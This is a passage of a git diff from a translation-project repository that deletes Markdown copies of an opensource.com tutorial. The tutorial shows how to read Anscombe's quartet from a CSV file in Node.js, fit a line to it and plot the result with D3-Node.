C++][15]. The full source code for all the examples is available in my [polyglot_fit repository][16] on GitLab. - -### Installing - -Before you can run this example, you must install Node.js and its package manager [npm][17]. To install them on [Fedora][18], run: - - -``` -`$ sudo dnf install nodejs npm` -``` - -On Ubuntu: - - -``` -`$ sudo apt install nodejs npm` -``` - -Next, use `npm` to install the required packages. Packages are installed in a local [`node_modules` subdirectory][19], so Node.js can search for packages in that folder. The required packages are: - - * [CSV Parse][20] for parsing the CSV file - * [Simple Statistics][21] for calculating the data correlation factor - * [Regression-js][22] for determining the fitting line - * [D3-Node][23] for server-side plotting - - - -Run npm to install the packages: - - -``` -`$ npm install csv-parse simple-statistics regression d3-node` -``` - -### Commenting code - -Just like in C, in JavaScript, you can insert [comments][24] by putting `//` before your comment, and the interpreter will discard the rest of the line. Another option: JavaScript will discard anything between `/*` and `*/`: - - -``` -// This is a comment ignored by the interpreter. -/* Also this is ignored */ -``` - -### Loading modules - -You can load modules with the [`require()` function][25]. The function returns an object that contains a module's functions: - - -``` -const EventEmitter = require('events'); -const fs = require('fs'); -const csv = require('csv-parser'); -const regression = require('regression'); -const ss = require('simple-statistics'); -const D3Node = require('d3-node'); -``` - -Some of these modules are part of the Node.js standard library, so you do not need to install them with npm. - -### Defining variables - -Variables do not have to be declared before they are used, but if they are used without a declaration, they will be defined as global variables. Generally, global variables are considered bad practice, as they could lead to [bugs][26] if they're used carelessly. To declare a variable, you can use the [var][27], [let][28], and [const][29] statements. Variables can contain any kind of data (even functions!). You can create some objects by applying the [`new` operator][30] to a constructor function: - - -``` -const inputFileName = "anscombe.csv"; -const delimiter = "\t"; -const skipHeader = 3; -const columnX = String(0); -const columnY = String(1); - -const d3n = new D3Node(); -const d3 = d3n.d3; - -var data = []; -``` - -Data read from the CSV file is stored in the `data` array. Arrays are dynamic, so you do not have to decide their size beforehand. - -### Defining functions - -There are several ways to define functions in JavaScript. For example, the [function declaration][31] allows you to directly define a function: - - -``` -function triplify(x) { -    return 3 * x; -} - -// The function call is: -triplify(3); -``` - -You can also declare a function with an [expression][32] and store it in a variable: - - -``` -var triplify = function (x) { -    return 3 * x; -} - -// The function call is still: -triplify(3); -``` - -Finally, you can use the [arrow function expression][33], a syntactically short version of a function expression, but it has [some limitations][33]. It is generally used for concise functions that do simple calculations on its arguments: - - -``` -var triplify = (x) => 3 * x; - -// The function call is still: -triplify(3); -``` - -### Printing output - -In order to print on the terminal, you can use the built-in [`console` object][34] in the Node.js standard library. The [`log()` method][35] prints on the terminal (adding a newline at the end of the string): - - -``` -`console.log("#### Anscombe's first set with JavaScript in Node.js ####");` -``` - -The `console` object is a more powerful facility than just printing output; for instance, it can also print [warnings][36] and [errors][37]. If you want to print the value of a variable, you can convert it to a string and use `console.log()`: - - -``` -`console.log("Slope: " + slope.toString());` -``` - -### Reading data - -Input/output in Node.js uses a [very interesting approach][38]; you can choose either a synchronous or an asynchronous approach. The former uses blocking function calls, and the latter uses non-blocking function calls. In a blocking function, the program stops there and waits until the function finishes its task, whereas non-blocking functions do not stop the execution but continue their task somehow and somewhere else. - -You have a couple of options here: you could periodically check whether the function ended, or the function could notify you when it ends. This tutorial uses the second approach: it employs [an `EventEmitter`][39] that generates an [event][40] associated with a callback function. The callback executes when the event is triggered. - -First, generate the `EventEmitter`: - - -``` -`const myEmitter = new EventEmitter();` -``` - -Then associate the file-reading's end with an event called `myEmitter`. Although you do not need to follow this path for this simple example—you could use a simple blocking call—it is a very powerful approach that can be very useful in other situations. Before doing that, add another piece to this section for using the CSV Parse library to do the data reading. This library provides [several approaches][41] you can choose from, but this example uses the [stream API][42] with a [pipe][43]. The library needs some configuration, which is defined in an object: - - -``` -const csvOptions = {'separator': delimiter, -                    'skipLines': skipHeader, -                    'headers': false}; -``` - -Since you've defined the options, you can read the file: - - -``` -fs.createReadStream(inputFileName) -  .pipe(csv(csvOptions)) -  .on('data', (datum) => data.push({'x': Number(datum[columnX]), 'y': Number(datum[columnY])})) -  .on('end', () => myEmitter.emit('reading-end')); -``` - -I'll walk through each line of this short, dense code snippet: - - * `fs.createReadStream(inputFileName)` opens a [stream of data][44] that is read from the file. A stream gradually reads a file in chunks. - * `.pipe(csv(csvOptions))` forwards the stream to the CSV Parse library that handles the difficult task of reading the file and parsing it. - * `.on('data', (datum) => data.push({'x': Number(datum[columnX]), 'y': Number(datum[columnY])}))` is rather dense, so I will break it out: - * `(datum) => ...` defines a function to which each row of the CSV file will be passed. - * `data.push(...` adds the newly read data to the `data` array. - * `{'x': ..., 'y': ...}` constructs a new data point with `x` and `y` members. - * `Number(datum[columnX])` converts the element in `columnX` to a number. - * `.on('end', () => myEmitter.emit('reading-end'));` uses the emitter you created to notify you when the file-reading finishes. - - - -When the emitter emits the `reading-end` event, you know that the file was completely parsed and its contents are in the `data` array. - -### Fitting data - -Now that you filled the `data` array, you can analyze the data in it. The function that carries out the analysis is associated with the `reading-end` event of the emitter you defined, so you can be sure that the data is ready. The emitter associates a callback function to that event and executes the function when the event is triggered. - - -``` -myEmitter.on('reading-end', function () { -    const fit_data = data.map((datum) => [datum.x, datum.y]); - -    const result = regression.linear(fit_data); -    const slope = result.equation[0]; -    const intercept = result.equation[1]; - -    console.log("Slope: " + slope.toString()); -    console.log("Intercept: " + intercept.toString()); - -    const x = data.map((datum) => datum.x); -    const y = data.map((datum) => datum.y); - -    const r_value = ss.sampleCorrelation(x, y); - -    console.log("Correlation coefficient: " + r_value.toString()); - -    myEmitter.emit('analysis-end', data, slope, intercept); -}); -``` - -The statistics libraries expect data in different formats, so employ the [`map()` method][45] of the `data` array. `map()` creates a new array from an existing one and applies a function to each array element. The arrow functions are very practical in this context due to their conciseness. When the analysis finishes, you can trigger a new event to continue in a new callback. You could also directly plot the data in this function, but I opted to continue in a new one because the analysis could be a very lengthy process. By emitting the `analysis-end` event, you also pass the relevant data from this function to the next callback. - -### Plotting - -[D3.js][46] is a [very powerful][47] library for plotting data. The learning curve is rather steep, probably because it is a [misunderstood library][48], but it is the best open source option I've found for server-side plotting. My favorite D3.js feature is probably that it works on SVG images. D3.js was designed to run in a web browser, so it assumes it has a web page to handle. Working server-side is a very different environment, and you need a [virtual web page][49] to work on. Luckily, [D3-Node][50] makes this process very simple. - -Begin by defining some useful measurements that will be required later: - - -``` -const figDPI = 100; -const figWidth = 7 * figDPI; -const figHeight = figWidth / 16 * 9; -const margins = {top: 20, right: 20, bottom: 50, left: 50}; - -let plotWidth = figWidth - margins.left - margins.right; -let plotHeight = figHeight - margins.top - margins.bottom; - -let minX = d3.min(data, (datum) => datum.x); -let maxX = d3.max(data, (datum) => datum.x); -let minY = d3.min(data, (datum) => datum.y); -let maxY = d3.max(data, (datum) => datum.y); -``` - -You have to convert between the data coordinates and the plot (image) coordinates. You can use scales for this conversion: the scale's domain is the data space where you pick the data points, and the scale's range is the image space where you put the points: - - -``` -let scaleX = d3.scaleLinear() -               .range([0, plotWidth]) -               .domain([minX - 1, maxX + 1]); -let scaleY = d3.scaleLinear() -               .range([plotHeight, 0]) -               .domain([minY - 1, maxY + 1]); - -const axisX = d3.axisBottom(scaleX).ticks(10); -const axisY = d3.axisLeft(scaleY).ticks(10); -``` - -Note that the `y` scale has an inverted range because in the SVG standard, the `y` scale's origin is at the top. After defining the scales, start drawing the plot on a newly created SVG image: - - -``` -let svg = d3n.createSVG(figWidth, figHeight) - -svg.attr('background-color', 'white'); - -svg.append("rect") -   .attr("width", figWidth) -   .attr("height", figHeight) -   .attr("fill", 'white'); -``` - -First, draw the interpolating line appending a `line` element to the SVG image: - - -``` -svg.append("g") -   .attr('transform', `translate(${margins.left}, ${margins.top})`) -   .append("line") -   .attr("x1", scaleX(minX - 1)) -   .attr("y1", scaleY((minX - 1) * slope + intercept)) -   .attr("x2", scaleX(maxX + 1)) -   .attr("y2", scaleY((maxX + 1) * slope + intercept)) -   .attr("stroke", "#1f77b4"); -``` - -Then add a `circle` for each data point to the right location. D3.js's key point is that it associates data with SVG elements. Thus, you use the `data()` method to associate the data points to the circles you create. The [`enter()` method][51] tells the library what to do with the newly associated data: - - -``` -svg.append("g") -   .attr('transform', `translate(${margins.left}, ${margins.top})`) -   .selectAll("circle") -   .data(data) -   .enter() -   .append("circle") -   .classed("circle", true) -   .attr("cx", (d) => scaleX(d.x)) -   .attr("cy", (d) => scaleY(d.y)) -   .attr("r", 3) -   .attr("fill", "#ff7f0e"); -``` - -The last elements you draw are the axes and their labels; this is so you can be sure they overlap the plot lines and circles: - - -``` -svg.append("g") -   .attr('transform', `translate(${margins.left}, ${margins.top + plotHeight})`) -   .call(axisX); - -svg.append("g") -   .append("text") -   .attr("transform", `translate(${margins.left + 0.5 * plotWidth}, ${margins.top + plotHeight + 0.7 * margins.bottom})`) -  .style("text-anchor", "middle") -  .text("X"); - -svg.append("g") -   .attr('transform', `translate(${margins.left}, ${margins.top})`) -   .call(axisY); - -svg.append("g") -   .attr("transform", `translate(${0.5 * margins.left}, ${margins.top + 0.5 * plotHeight})`) -   .append("text") -   .attr("transform", "rotate(-90)") -  .style("text-anchor", "middle") -  .text("Y"); -``` - -Finally, save the plot to an SVG file. I opted for a synchronous write of the file, so I could show this [second approach][52]: - - -``` -`fs.writeFileSync("fit_node.svg", d3n.svgString());` -``` - -### Results - -Running the script is as simple as: - - -``` -`$ node fitting_node.js` -``` - -And the command-line output is: - - -``` -#### Anscombe's first set with JavaScript in Node.js #### -Slope: 0.5 -Intercept: 3 -Correlation coefficient: 0.8164205163448399 -``` - -Here is the image I generated with D3.js and Node.js: - -![Plot and fit of the dataset obtained with Node.js][53] - -(Cristiano Fontana, [CC BY-SA 4.0][54]) - -### Conclusion - -JavaScript is a very popular language for [serverless computing][55], so this example of server-side data analysis and plotting with Node.js is not unlikely. The two most interesting parts in this tutorial are probably the introduction to the event-driven architecture (for people getting started with Node.js) and the example of server-side plotting (for more knowledgeable readers). - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/server-side-data-science-nodejs - -作者:[Cristiano L. Fontana][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cristianofontana -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_screen_windows_files.png?itok=kLTeQUbY (Computer screen with files or windows open) -[2]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/About_JavaScript -[3]: https://en.wikipedia.org/wiki/Lingua_franca -[4]: https://en.wikipedia.org/wiki/Source-to-source_compiler -[5]: https://www.destroyallsoftware.com/talks/wat -[6]: https://www.youtube.com/watch?v=_DKkVvOt6dk -[7]: https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey -[8]: https://nodejs.org/en/ -[9]: https://en.wikipedia.org/wiki/Event-driven_architecture -[10]: https://en.wikipedia.org/wiki/Asynchrony_%28computer_programming%29 -[11]: https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous/Async_await -[12]: https://en.wikipedia.org/wiki/Comma-separated_values -[13]: https://en.wikipedia.org/wiki/Anscombe%27s_quartet -[14]: https://opensource.com/article/20/2/python-gnu-octave-data-science -[15]: https://opensource.com/article/20/2/c-data-science -[16]: https://gitlab.com/cristiano.fontana/polyglot_fit -[17]: https://www.npmjs.com/ -[18]: https://getfedora.org/ -[19]: https://docs.npmjs.com/configuring-npm/folders.html -[20]: https://csv.js.org/parse/ -[21]: https://simplestatistics.org/ -[22]: http://tom-alexander.github.io/regression-js/ -[23]: https://bradoyler.com/projects/d3-node/ -[24]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Comments -[25]: https://nodejs.org/en/knowledge/getting-started/what-is-require/ -[26]: https://gist.github.com/hallettj/64478 -[27]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var -[28]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let -[29]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const -[30]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new -[31]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function -[32]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function -[33]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions -[34]: https://nodejs.org/api/console.html -[35]: https://nodejs.org/api/console.html#console_console_log_data_args -[36]: https://nodejs.org/api/console.html#console_console_warn_data_args -[37]: https://nodejs.org/api/console.html#console_console_error_data_args -[38]: https://nodejs.org/en/docs/guides/blocking-vs-non-blocking/ -[39]: https://nodejs.org/api/events.html#events_class_eventemitter -[40]: https://nodejs.org/api/events.html#events_events -[41]: https://csv.js.org/parse/api/ -[42]: https://csv.js.org/parse/api/stream/ -[43]: https://csv.js.org/parse/recipies/stream_pipe/ -[44]: https://nodejs.org/api/stream.html#stream_stream -[45]: https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Global_Objects/Array/map -[46]: https://d3js.org/ -[47]: https://observablehq.com/@d3/gallery -[48]: https://medium.com/dailyjs/the-trouble-with-d3-4a84f7de011f -[49]: https://github.com/jsdom/jsdom -[50]: https://github.com/d3-node/d3-node -[51]: https://www.d3indepth.com/enterexit/ -[52]: https://nodejs.org/api/fs.html#fs_fs_writefilesync_file_data_options -[53]: https://opensource.com/sites/default/files/uploads/fit_node.jpg (Plot and fit of the dataset obtained with Node.js) -[54]: https://creativecommons.org/licenses/by-sa/4.0/ -[55]: https://en.wikipedia.org/wiki/Serverless_computing diff --git a/sources/tech/20200624 Why you should use Node.js for data science.md b/sources/tech/20200624 Why you should use Node.js for data science.md deleted file mode 100644 index 86f6f2ca43..0000000000 --- a/sources/tech/20200624 Why you should use Node.js for data science.md +++ /dev/null @@ -1,450 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why you should use Node.js for data science) -[#]: via: (https://opensource.com/article/20/6/data-science-nodejs) -[#]: author: (Cristiano L. Fontana https://opensource.com/users/cristianofontana) - -Why you should use Node.js for data science -====== -Node.js and other JavaScript libraries are excellent choices for data -science. Here's why. -![Computer screen with files or windows open][1] - -[JavaScript][2] (also known as JS) is the [lingua franca][3] of the web, as it is supported by all the major web browsers—the other languages that run in browsers are [transpiled][4] (or translated) to JavaScript. Sometimes JS [can be confusing][5], but I find it pleasant to use because I try to stick to the [good parts][6]. JavaScript was created to run in a browser, but it can also be used in other contexts, such as an [embedded language][7] or for [server-side applications][8]. - -In this tutorial, I will explain how to write a program that will run in Node.js, which is a runtime environment that can execute JavaScript applications. What I like the most about Node.js is its [event-driven architecture][9] for [asynchronous programming][10]. With this approach, functions (aka callbacks) can be attached to certain events; when the attached event occurs, the callback executes. This way, the developer does not have to write a main loop because the runtime takes care of that. - -JavaScript also has new [async functions][11] that use a different syntax, but I think they hide the event-driven architecture too well to use them in a how-to article. So, in this tutorial, I will use the traditional callbacks approach, even though it is not necessary for this case. - -### Understanding the program task - -The program task in this tutorial is to: - - * Read some data from a [CSV file][12] that contains the [Anscombe's quartet][13] dataset - * Interpolate the data with a straight line (i.e., _f(x) = m·x + q_) - * Plot the result to an image file - - - -For more details about this task, you can read the previous articles in this series, which do the same task in [Python and GNU Octave][14] and [C and C++][15]. The full source code for all the examples is available in my [polyglot_fit repository][16] on GitLab. - -### Installing - -Before you can run this example, you must install Node.js and its package manager [npm][17]. To install them on [Fedora][18], run: - - -``` -`$ sudo dnf install nodejs npm` -``` - -On Ubuntu: - - -``` -`$ sudo apt install nodejs npm` -``` - -Next, use `npm` to install the required packages. Packages are installed in a local [`node_modules` subdirectory][19], so Node.js can search for packages in that folder. The required packages are: - - * [CSV Parse][20] for parsing the CSV file - * [Simple Statistics][21] for calculating the data correlation factor - * [Regression-js][22] for determining the fitting line - * [D3-Node][23] for server-side plotting - - - -Run npm to install the packages: - - -``` -`$ npm install csv-parse simple-statistics regression d3-node` -``` - -### Commenting code - -Just like in C, in JavaScript, you can insert [comments][24] by putting `//` before your comment, and the interpreter will discard the rest of the line. Another option: JavaScript will discard anything between `/*` and `*/`: - - -``` -// This is a comment ignored by the interpreter. -/* Also this is ignored */ -``` - -### Loading modules - -You can load modules with the [`require()` function][25]. The function returns an object that contains a module's functions: - - -``` -const EventEmitter = require('events'); -const fs = require('fs'); -const csv = require('csv-parser'); -const regression = require('regression'); -const ss = require('simple-statistics'); -const D3Node = require('d3-node'); -``` - -Some of these modules are part of the Node.js standard library, so you do not need to install them with npm. - -### Defining variables - -Variables do not have to be declared before they are used, but if they are used without a declaration, they will be defined as global variables. Generally, global variables are considered bad practice, as they could lead to [bugs][26] if they're used carelessly. To declare a variable, you can use the [var][27], [let][28], and [const][29] statements. Variables can contain any kind of data (even functions!). You can create some objects by applying the [`new` operator][30] to a constructor function: - - -``` -const inputFileName = "anscombe.csv"; -const delimiter = "\t"; -const skipHeader = 3; -const columnX = String(0); -const columnY = String(1); - -const d3n = new D3Node(); -const d3 = d3n.d3; - -var data = []; -``` - -Data read from the CSV file is stored in the `data` array. Arrays are dynamic, so you do not have to decide their size beforehand. - -### Defining functions - -There are several ways to define functions in JavaScript. For example, the [function declaration][31] allows you to directly define a function: - - -``` -function triplify(x) { -    return 3 * x; -} - -// The function call is: -triplify(3); -``` - -You can also declare a function with an [expression][32] and store it in a variable: - - -``` -var triplify = function (x) { -    return 3 * x; -} - -// The function call is still: -triplify(3); -``` - -Finally, you can use the [arrow function expression][33], a syntactically short version of a function expression, but it has [some limitations][33]. It is generally used for concise functions that do simple calculations on its arguments: - - -``` -var triplify = (x) => 3 * x; - -// The function call is still: -triplify(3); -``` - -### Printing output - -In order to print on the terminal, you can use the built-in [`console` object][34] in the Node.js standard library. The [`log()` method][35] prints on the terminal (adding a newline at the end of the string): - - -``` -`console.log("#### Anscombe's first set with JavaScript in Node.js ####");` -``` - -The `console` object is a more powerful facility than just printing output; for instance, it can also print [warnings][36] and [errors][37]. If you want to print the value of a variable, you can convert it to a string and use `console.log()`: - - -``` -`console.log("Slope: " + slope.toString());` -``` - -### Reading data - -Input/output in Node.js uses a [very interesting approach][38]; you can choose either a synchronous or an asynchronous approach. The former uses blocking function calls, and the latter uses non-blocking function calls. In a blocking function, the program stops there and waits until the function finishes its task, whereas non-blocking functions do not stop the execution but continue their task somehow and somewhere else. - -You have a couple of options here: you could periodically check whether the function ended, or the function could notify you when it ends. This tutorial uses the second approach: it employs [an `EventEmitter`][39] that generates an [event][40] associated with a callback function. The callback executes when the event is triggered. - -First, generate the `EventEmitter`: - - -``` -`const myEmitter = new EventEmitter();` -``` - -Then associate the file-reading's end with an event called `myEmitter`. Although you do not need to follow this path for this simple example—you could use a simple blocking call—it is a very powerful approach that can be very useful in other situations. Before doing that, add another piece to this section for using the CSV Parse library to do the data reading. This library provides [several approaches][41] you can choose from, but this example uses the [stream API][42] with a [pipe][43]. The library needs some configuration, which is defined in an object: - - -``` -const csvOptions = {'separator': delimiter, -                    'skipLines': skipHeader, -                    'headers': false}; -``` - -Since you've defined the options, you can read the file: - - -``` -fs.createReadStream(inputFileName) -  .pipe(csv(csvOptions)) -  .on('data', (datum) => data.push({'x': Number(datum[columnX]), 'y': Number(datum[columnY])})) -  .on('end', () => myEmitter.emit('reading-end')); -``` - -I'll walk through each line of this short, dense code snippet: - - * `fs.createReadStream(inputFileName)` opens a [stream of data][44] that is read from the file. A stream gradually reads a file in chunks. - * `.pipe(csv(csvOptions))` forwards the stream to the CSV Parse library that handles the difficult task of reading the file and parsing it. - * `.on('data', (datum) => data.push({'x': Number(datum[columnX]), 'y': Number(datum[columnY])}))` is rather dense, so I will break it out: - * `(datum) => ...` defines a function to which each row of the CSV file will be passed. - * `data.push(...` adds the newly read data to the `data` array. - * `{'x': ..., 'y': ...}` constructs a new data point with `x` and `y` members. - * `Number(datum[columnX])` converts the element in `columnX` to a number. - * `.on('end', () => myEmitter.emit('reading-end'));` uses the emitter you created to notify you when the file-reading finishes. - - - -When the emitter emits the `reading-end` event, you know that the file was completely parsed and its contents are in the `data` array. - -### Fitting data - -Now that you filled the `data` array, you can analyze the data in it. The function that carries out the analysis is associated with the `reading-end` event of the emitter you defined, so you can be sure that the data is ready. The emitter associates a callback function to that event and executes the function when the event is triggered. - - -``` -myEmitter.on('reading-end', function () { -    const fit_data = data.map((datum) => [datum.x, datum.y]); - -    const result = regression.linear(fit_data); -    const slope = result.equation[0]; -    const intercept = result.equation[1]; - -    console.log("Slope: " + slope.toString()); -    console.log("Intercept: " + intercept.toString()); - -    const x = data.map((datum) => datum.x); -    const y = data.map((datum) => datum.y); - -    const r_value = ss.sampleCorrelation(x, y); - -    console.log("Correlation coefficient: " + r_value.toString()); - -    myEmitter.emit('analysis-end', data, slope, intercept); -}); -``` - -The statistics libraries expect data in different formats, so employ the [`map()` method][45] of the `data` array. `map()` creates a new array from an existing one and applies a function to each array element. The arrow functions are very practical in this context due to their conciseness. When the analysis finishes, you can trigger a new event to continue in a new callback. You could also directly plot the data in this function, but I opted to continue in a new one because the analysis could be a very lengthy process. By emitting the `analysis-end` event, you also pass the relevant data from this function to the next callback. - -### Plotting - -[D3.js][46] is a [very powerful][47] library for plotting data. The learning curve is rather steep, probably because it is a [misunderstood library][48], but it is the best open source option I've found for server-side plotting. My favorite D3.js feature is probably that it works on SVG images. D3.js was designed to run in a web browser, so it assumes it has a web page to handle. Working server-side is a very different environment, and you need a [virtual web page][49] to work on. Luckily, [D3-Node][50] makes this process very simple. - -Begin by defining some useful measurements that will be required later: - - -``` -const figDPI = 100; -const figWidth = 7 * figDPI; -const figHeight = figWidth / 16 * 9; -const margins = {top: 20, right: 20, bottom: 50, left: 50}; - -let plotWidth = figWidth - margins.left - margins.right; -let plotHeight = figHeight - margins.top - margins.bottom; - -let minX = d3.min(data, (datum) => datum.x); -let maxX = d3.max(data, (datum) => datum.x); -let minY = d3.min(data, (datum) => datum.y); -let maxY = d3.max(data, (datum) => datum.y); -``` - -You have to convert between the data coordinates and the plot (image) coordinates. You can use scales for this conversion: the scale's domain is the data space where you pick the data points, and the scale's range is the image space where you put the points: - - -``` -let scaleX = d3.scaleLinear() -               .range([0, plotWidth]) -               .domain([minX - 1, maxX + 1]); -let scaleY = d3.scaleLinear() -               .range([plotHeight, 0]) -               .domain([minY - 1, maxY + 1]); - -const axisX = d3.axisBottom(scaleX).ticks(10); -const axisY = d3.axisLeft(scaleY).ticks(10); -``` - -Note that the `y` scale has an inverted range because in the SVG standard, the `y` scale's origin is at the top. After defining the scales, start drawing the plot on a newly created SVG image: - - -``` -let svg = d3n.createSVG(figWidth, figHeight) - -svg.attr('background-color', 'white'); - -svg.append("rect") -   .attr("width", figWidth) -   .attr("height", figHeight) -   .attr("fill", 'white'); -``` - -First, draw the interpolating line appending a `line` element to the SVG image: - - -``` -svg.append("g") -   .attr('transform', `translate(${margins.left}, ${margins.top})`) -   .append("line") -   .attr("x1", scaleX(minX - 1)) -   .attr("y1", scaleY((minX - 1) * slope + intercept)) -   .attr("x2", scaleX(maxX + 1)) -   .attr("y2", scaleY((maxX + 1) * slope + intercept)) -   .attr("stroke", "#1f77b4"); -``` - -Then add a `circle` for each data point to the right location. D3.js's key point is that it associates data with SVG elements. Thus, you use the `data()` method to associate the data points to the circles you create. The [`enter()` method][51] tells the library what to do with the newly associated data: - - -``` -svg.append("g") -   .attr('transform', `translate(${margins.left}, ${margins.top})`) -   .selectAll("circle") -   .data(data) -   .enter() -   .append("circle") -   .classed("circle", true) -   .attr("cx", (d) => scaleX(d.x)) -   .attr("cy", (d) => scaleY(d.y)) -   .attr("r", 3) -   .attr("fill", "#ff7f0e"); -``` - -The last elements you draw are the axes and their labels; this is so you can be sure they overlap the plot lines and circles: - - -``` -svg.append("g") -   .attr('transform', `translate(${margins.left}, ${margins.top + plotHeight})`) -   .call(axisX); - -svg.append("g") -   .append("text") -   .attr("transform", `translate(${margins.left + 0.5 * plotWidth}, ${margins.top + plotHeight + 0.7 * margins.bottom})`) -  .style("text-anchor", "middle") -  .text("X"); - -svg.append("g") -   .attr('transform', `translate(${margins.left}, ${margins.top})`) -   .call(axisY); - -svg.append("g") -   .attr("transform", `translate(${0.5 * margins.left}, ${margins.top + 0.5 * plotHeight})`) -   .append("text") -   .attr("transform", "rotate(-90)") -  .style("text-anchor", "middle") -  .text("Y"); -``` - -Finally, save the plot to an SVG file. I opted for a synchronous write of the file, so I could show this [second approach][52]: - - -``` -`fs.writeFileSync("fit_node.svg", d3n.svgString());` -``` - -### Results - -Running the script is as simple as: - - -``` -`$ node fitting_node.js` -``` - -And the command-line output is: - - -``` -#### Anscombe's first set with JavaScript in Node.js #### -Slope: 0.5 -Intercept: 3 -Correlation coefficient: 0.8164205163448399 -``` - -Here is the image I generated with D3.js and Node.js: - -![Plot and fit of the dataset obtained with Node.js][53] - -(Cristiano Fontana, [CC BY-SA 4.0][54]) - -### Conclusion - -JavaScript is a core technology of today, and it is well suited for data exploration with the right libraries. With this introduction to event-driven architecture and an example of how server-side plotting looks in practice, we can start to consider Node.js and D3.js as alternatives to the common programming languages associated with data science. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/data-science-nodejs - -作者:[Cristiano L. Fontana][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cristianofontana -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_screen_windows_files.png?itok=kLTeQUbY (Computer screen with files or windows open) -[2]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/About_JavaScript -[3]: https://en.wikipedia.org/wiki/Lingua_franca -[4]: https://en.wikipedia.org/wiki/Source-to-source_compiler -[5]: https://www.destroyallsoftware.com/talks/wat -[6]: https://www.youtube.com/watch?v=_DKkVvOt6dk -[7]: https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey -[8]: https://nodejs.org/en/ -[9]: https://en.wikipedia.org/wiki/Event-driven_architecture -[10]: https://en.wikipedia.org/wiki/Asynchrony_%28computer_programming%29 -[11]: https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous/Async_await -[12]: https://en.wikipedia.org/wiki/Comma-separated_values -[13]: https://en.wikipedia.org/wiki/Anscombe%27s_quartet -[14]: https://opensource.com/article/20/2/python-gnu-octave-data-science -[15]: https://opensource.com/article/20/2/c-data-science -[16]: https://gitlab.com/cristiano.fontana/polyglot_fit -[17]: https://www.npmjs.com/ -[18]: https://getfedora.org/ -[19]: https://docs.npmjs.com/configuring-npm/folders.html -[20]: https://csv.js.org/parse/ -[21]: https://simplestatistics.org/ -[22]: http://tom-alexander.github.io/regression-js/ -[23]: https://bradoyler.com/projects/d3-node/ -[24]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Comments -[25]: https://nodejs.org/en/knowledge/getting-started/what-is-require/ -[26]: https://gist.github.com/hallettj/64478 -[27]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var -[28]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let -[29]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const -[30]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new -[31]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function -[32]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function -[33]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions -[34]: https://nodejs.org/api/console.html -[35]: https://nodejs.org/api/console.html#console_console_log_data_args -[36]: https://nodejs.org/api/console.html#console_console_warn_data_args -[37]: https://nodejs.org/api/console.html#console_console_error_data_args -[38]: https://nodejs.org/en/docs/guides/blocking-vs-non-blocking/ -[39]: https://nodejs.org/api/events.html#events_class_eventemitter -[40]: https://nodejs.org/api/events.html#events_events -[41]: https://csv.js.org/parse/api/ -[42]: https://csv.js.org/parse/api/stream/ -[43]: https://csv.js.org/parse/recipies/stream_pipe/ -[44]: https://nodejs.org/api/stream.html#stream_stream -[45]: https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Global_Objects/Array/map -[46]: https://d3js.org/ -[47]: https://observablehq.com/@d3/gallery -[48]: https://medium.com/dailyjs/the-trouble-with-d3-4a84f7de011f -[49]: https://github.com/jsdom/jsdom -[50]: https://github.com/d3-node/d3-node -[51]: https://www.d3indepth.com/enterexit/ -[52]: https://nodejs.org/api/fs.html#fs_fs_writefilesync_file_data_options -[53]: https://opensource.com/sites/default/files/uploads/fit_node.jpg (Plot and fit of the dataset obtained with Node.js) -[54]: https://creativecommons.org/licenses/by-sa/4.0/ diff --git a/sources/tech/20200626 Advice for getting started with GNOME.md b/sources/tech/20200626 Advice for getting started with GNOME.md deleted file mode 100644 index b1d311e6a9..0000000000 --- a/sources/tech/20200626 Advice for getting started with GNOME.md +++ /dev/null @@ -1,155 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Advice for getting started with GNOME) -[#]: via: (https://opensource.com/article/20/6/gnome-users) -[#]: author: (Opensource.com https://opensource.com/users/admin) - -Advice for getting started with GNOME -====== -The GNOME desktop is a unified interface for Linux that offers lots of 